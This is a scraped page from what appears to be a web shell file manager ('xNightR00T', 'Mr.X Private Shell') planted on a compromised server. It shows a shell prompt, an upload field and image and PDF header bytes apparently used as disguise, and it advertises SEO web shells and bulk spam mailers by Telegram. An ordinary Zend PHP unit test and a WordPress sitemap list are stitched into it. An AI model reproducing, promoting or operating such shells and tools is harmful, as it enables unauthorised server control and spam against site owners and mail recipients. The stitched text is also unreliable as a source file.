xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Logs\Db;

use Zend\Db\TableGateway\TableGateway;
use Configuration\MapperDirectives;
use Logs\Db\Mapper;
use ZendServer\FS\FS;
use Configuration\MapperAbstractTest;

require_once 'tests/bootstrap.php';

class MapperTest extends MapperAbstractTest
{
    protected $testedTable = 'GUI_AVAILABLE_LOGS';

    public function testFindAllEnabledLogFiles()
    {
        $logs = $this->getTestedMapper()->findAllEnabledLogFiles();
        self::assertInternalType('array', $logs);
        self::assertArrayHasKeys(array('logfile1', 'logfile2'), $logs);
        self::assertArrayValues(array('/path/to/logfile1.log', '/usr/local/zend/var/log/php.log'), $logs);
    }

    protected function sqlGetContents()
    {
        $basepath = __DIR__;
        return file_get_contents(FS::createPath(ZEND_SERVER_GUI_PATH, 'utils', 'sqls', 'gui_sqlite_create_database.sql'))
            .PHP_EOL.file_get_contents("{$this->getZendInstallDir()}/share/zsd_sqlite_create_schema.sql");
    }

    /**
     * @return Mapper
     */
    protected function getTestedMapper()
    {
        if ($this->testedMapper) return $this->testedMapper;

        $directives         = new MapperDirectives();
        $directives->setTableGateway(new TableGateway('ZSD_DIRECTIVES', $this->getDbAdapter()));
        $this->testedMapper = new Mapper();
        $this->testedMapper->setDirectivesMapper($directives);
        return $this->testedMapper;
    }

    protected function getRows()
    {
        $this->getDbAdapter()->query('DELETE FROM GUI_AVAILABLE_LOGS')->execute();
        $this->getDbAdapter()
            ->query('INSERT INTO ZSD_DIRECTIVES (NAME,TYPE,MEMORY_VALUE,DISK_VALUE,EXTENSION,DAEMON,INI_FILE)
					VALUES("error_log","1","","/usr/local/zend/var/log/php.log","global","","/usr/local/zend/etc/php.ini")')
            ->execute();
        return array(
            'log1' => "'logfile1', '/path/to/logfile1.log',NULL, 1",
            'log2' => "'logfile2', NULL, 'error_log', 1",
            'log3' => "'logfile3', '/path/to/logfile3.log',NULL, 0",
        );
    }

    protected function getTableColumns()
    {
        /// disable fixtures
        return "NAME, FILEPATH, DIRECTIVE, ENABLED";
    }
}

Filemanager

Name Type Size Permission Actions
MapperTest.php File 2.15 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml